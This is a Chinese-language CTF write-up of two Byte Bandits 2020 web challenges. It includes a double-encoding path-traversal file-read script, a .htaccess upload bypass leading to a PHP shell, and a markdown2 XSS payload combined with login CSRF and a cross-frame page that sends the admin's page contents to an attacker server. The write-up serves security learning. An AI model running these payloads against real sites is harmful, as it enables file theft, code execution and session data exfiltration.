🇮🇳Byte Bandits CTF 2020 Writeup 7 min read
本文最后更新于 396 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com

比赛质量很高,决定本地搭环境复现


ImgAccess2

I heard they have something special running at secretserver:1337

https://github.com/ByteBandits/bbctf-2020/tree/master/web/ImgAccesss

考点:FUZZ、任意文件读取、.htaccess重写

难度:较难(需要分析+较强的fuzz能力)

截止到写这篇WP,CTFtime上还没有关于这题目的任何wp

自己搭个环境做一下,docker-compose up直接一步到位

官方WP只有简单的几个字:

  • python source code can be leaked by /uploads endpoint
  • source code contains hint about apache
  • apache allows config override using .htaccess

剩下的还是需要自己做了

RECON

题目提供了一个上传功能

在回包有这样的字段:

Server: gunicorn/19.9.0

说明题目是Python写的,Python的上传绕过getshell还没遇到过,目测这个题也没有这么简单粗暴

简单测试发现只能穿图片,然后caption随便写没什么卵用,上传之后回来到/upload页面,只有个链接指向到/view/ip的md5/原始文件名:

跟进,发现指向了/uploads/ip的md5/原始文件名,这个路径是文件的真实路径:

FUZZ

在测试这个上传的文件的路径时候,我无意中发现了一个很奇怪的现象,不返回403不返回404反而是500:

这说明,这个路径肯定不是直接去访问的,一定是经过gunicore后端解析的,他大概的代码应该是/uploads/:path这样的

既然如此,是否可以通过构造特定的:path来SSRF?经过艰难的大量的测试+一些自己的思考,发现二次编码绕过可以实现任意文件读取:

#!/usr/bin/env python3
#coding: utf8
#__author__: 颖奇L'Amore www.gem-love.com

import requests
from urllib.parse import *
file_to_read = "/etc/passwd"
url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../../../"+file_to_read))
r = requests.get(url)
print(r.text)

文件读取

现在能够做到任意文件读取了,那么读什么?一般python源代码都写在app.py中,于是读一下:

file_to_read = "app.py"
url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../"+file_to_read))

得到:

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

if not os.path.exists(app.config['UPLOAD_FOLDER']):
    os.mkdir(app.config['UPLOAD_FOLDER'])

def secure_filename(filename):
    return re.sub(r"(\.\.|/)", "", filename)

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/")
def index():
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    caption = request.form["caption"]
    file = request.files["image"]

    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not allowed_file(file.filename):
        flash('Please upload images only.')
        return redirect("/")
    else:
        if not request.headers.get("X-Real-IP"):
           ip = request.remote_addr
        else:
           ip = request.headers.get("X-Real-IP")
        dirname = md5(ip.encode()).hexdigest()
        filename = secure_filename(file.filename)
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html", path = os.path.join(dirname, filename))

@app.route("/view/<path:path>")
def view(path):
    return render_template("view.html", path = path)

@app.route("/uploads/<path:path>")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

if __name__ == "__main__":
    app.run(port=5000)

第一处关键代码:

@app.route("/uploads/<path:path>")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

这里出题人直接给了Hint,告诉有一个/uploads_apache使用了Apache

第二处文件代码:

ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

这个基本是fuzz不出来,后缀白名单除了png和jpg,还给了个s

htaccess重写

根据他的hint,直接使用Apache访问刚刚上传的图片发现是可以打开的

http://localhost:7003/uploads_apache/f528764d624db129b32c21fbca0cb8d6/y1ngshell.jpg

再次回到app.py看源码,本来以为文件名经过了werkzeug.utils.secure_filename()处理了

secure_filename(file.filename)

来撸一下这个函数的源码:

可以看到,这个secure_filename()会把开头的/../这样的跨目录的危险内容给剥离

加之app.py中允许了s这个后缀,我的第一感觉就是上传.htacces/..s来绕过,首先这可以被认为是一个s为后缀的文件可以绕过后缀的白名单检测,然后再存文件前被secure_filename()给剥掉/..这样就拼接成了.htaccess实现了Apache规则文件重写。

然而本地测试发现是不可以的,只有/..在开头时候才给剥掉

没其他现成的思路了,只能去手工测试,结果神奇的事情发生了,居然莫名其妙的上传成功了并且被处理成了.htaccess

后来guoke师傅告诉,才反应起来,这个secure_filename()是它自定义的函数:

def secure_filename(filename): 
        return re.sub(r"(\.\.|/)", "", filename)

服务器正好配置了PHP,这样就getshell了

wget内网主机得到flag:flag{w3ll_pl4y3D_h3ck3rm4n!}


Notes APP

noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/

考点:Markdown XSS、CSRF、XFS

难度:

分析

题目给了Docker源码,简单粗暴:

打开题目网页,可以发现能够注册登陆,然后有个输入框能输入东西(前端很美观)

在源码里发现可以把URL发给管理员看:

@app.route("/visit_link", methods=["GET", "POST"])
def visit_link():
    if request.method == "POST":
        url = request.form.get("url")
        token = request.form.get("g-recaptcha-response")
        r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {
            'secret': os.environ.get('RECAPTCHA_SECRET'),
            'response': token
        })
        if r.json()['success']:
            job = q.enqueue(visit_url, url, result_ttl = 600)
            flash("Our admin will visit the url soon.")
            return render_template("visit_link.html", job_id = job.id)
        else:
            flash("Recaptcha verification failed")

    return render_template("visit_link.html")

管理员确实会访问:

async def main(url):
    browser = await launch(headless=True,
                           executablePath="/usr/bin/chromium-browser",
                           args=['--no-sandbox', '--disable-gpu'])
    page = await browser.newPage()
    await page.goto("https://notes.web.byteband.it/login")
    await page.type("input[name='username']", "admin")
    await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
    await asyncio.wait([
        page.click('button'),
        page.waitForNavigation(),
    ])
    await page.goto(url)
    await browser.close()


def visit_url(url):
    asyncio.get_event_loop().run_until_complete(main(url))

所以基本肯定是个XSS题目

Markdown2 XSS

在源码中注意到如下代码:

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")

使用了Markdown2,因为safe_mode = True的缘故,<script></p>等标签标签会被转义为[HTML_REMOVED],无法直接XSS:

通过搜索Google,发现了Markdown2的XSS漏洞,链接:

Filter bypass leading to XSS

PoC:

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

但是,这是一个Self XSS,不能交给管理员看,因为分析代码可知,管理员登录了自己的账户,看到的是他自己的留言板,我们自己的留言板只能被自己看到。

需要想办法得到管理员页面的内容才能得到flag

登录

可以看到登录时使用的是get而不是post,如果以登录就直接跳转到/profile:

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

所以可以轻松的构造出一个登录自己账号的连接,比如

https://notes.web.byteband.it/login?username=y1ng&password=y1ng

CSRF+XFS

现在并不知道管理员的账号密码(如果知道的话 这个就已经做完了),并且凭借做题经验来讲,这种允许自己注册账户并登陆的题目,十有八九和SQL注入无关,分析代码可知本题目使用了Redis并且登陆确实不存在SQL注入

管理员使用我们的帐户登录并不能显示它自己的Profile页面,所以admin的profile可能会预先显示在iframe中,然后logout和登录我们的帐户的操作在另一个iframe

login()中,如果已登录就会直接跳转:

if current_user.is_authenticated:
    return redirect("/profile")

所以可以把payload放在我们自己的profile中,在新的iframe中通过CSRF登录我们自己的账户来触发Payload,然后Payload窃取了管理员原始iframe,得到flag。因为两个iframe并不存在跨域问题,所以这个XFS(跨框架脚本)攻击是可行的

时间问题

但是还有个问题:

async def main(url):
    browser = await launch(headless=True,
                           executablePath="/usr/bin/chromium-browser",
                           args=['--no-sandbox', '--disable-gpu'])
    page = await browser.newPage()
    await page.goto("https://notes.web.byteband.it/login")
    await page.type("input[name='username']", "admin")
    await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
    await asyncio.wait([
        page.click('button'),
        page.waitForNavigation(),
    ])
    await page.goto(url)
    await browser.close()

正如sigflag所说的,本地打得通,题目不生效,因为他page.click('button')登录之后不会等你payload被执行就直接browser.close()

所以需要手工添加延时,让browser花更长时间来解析,才能够让Payload正常执行,使用graneed的脚本:

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "https://notes.web.byteband.it/profile";
    var body = document.querySelector("body");
    body.appendChild(adminframe);
    sleep(3000);
    var logoutframe = document.createElement("iframe");
    logoutframe.src = "https://notes.web.byteband.it/logout";
    body.appendChild(logoutframe);
    sleep(3000);
    var loginframe = document.createElement("iframe");
    loginframe.src = "https://notes.web.byteband.it/login?username=y1ng&password=y1ng";
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

在自己服务器上创建这个页面,然后在自己profile中使用如下Payload:

<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

之后来到visit_link把我们的html页面提交:

服务器上nc监听就得到了返回的数据:

解base64:

<div class="hero is-fullheight is-centered is-vcentered is-primary">
	<div class="hero-head">
		<nav class="navbar">
			<div class="container">
				<div class="navbar-brand">
					<a href="/" class="navbar-item">
						MyNotes
					</a>
				</div>
				<div class="navbar-menu">
					<div class="navbar-end">
						<span class="navbar-item">
							<a href="/logout" class="button is-primary is-inverted">
								<span>Logout</span>
							</a>
						</span>
					</div>
				</div>
			</div>
		</nav>
	</div>
	<div class="hero-body columns is-centered has-text-centered">
		<div class="column is-4">
			<div class="title">
				Howdy admin!
			</div>
			<!-- so that user can write html -->
			<p>	flag{ch41n_tHy_3Xploits_t0_w1n} </p>
			<br>
			<form method="post" action="/update_notes">
				<textarea class="textarea" name="notes" placeholder="Write something here"></textarea>
				<input class="button is-fullwidth" type="submit" value="Update" name="">
			</form>
		</div>
	</div>
</div>


<footer class="footer">
  <div class="content has-text-centered">
    <p>
      <strong>MyNotes</strong> by n0ob.
    </p>
  </div>
</footer>

flag:flag{ch41n_tHy_3Xploits_t0_w1n}


References

https://www.sigflag.at/blog/2020/writeup-bytebandits2020-notes-app/

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2254.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇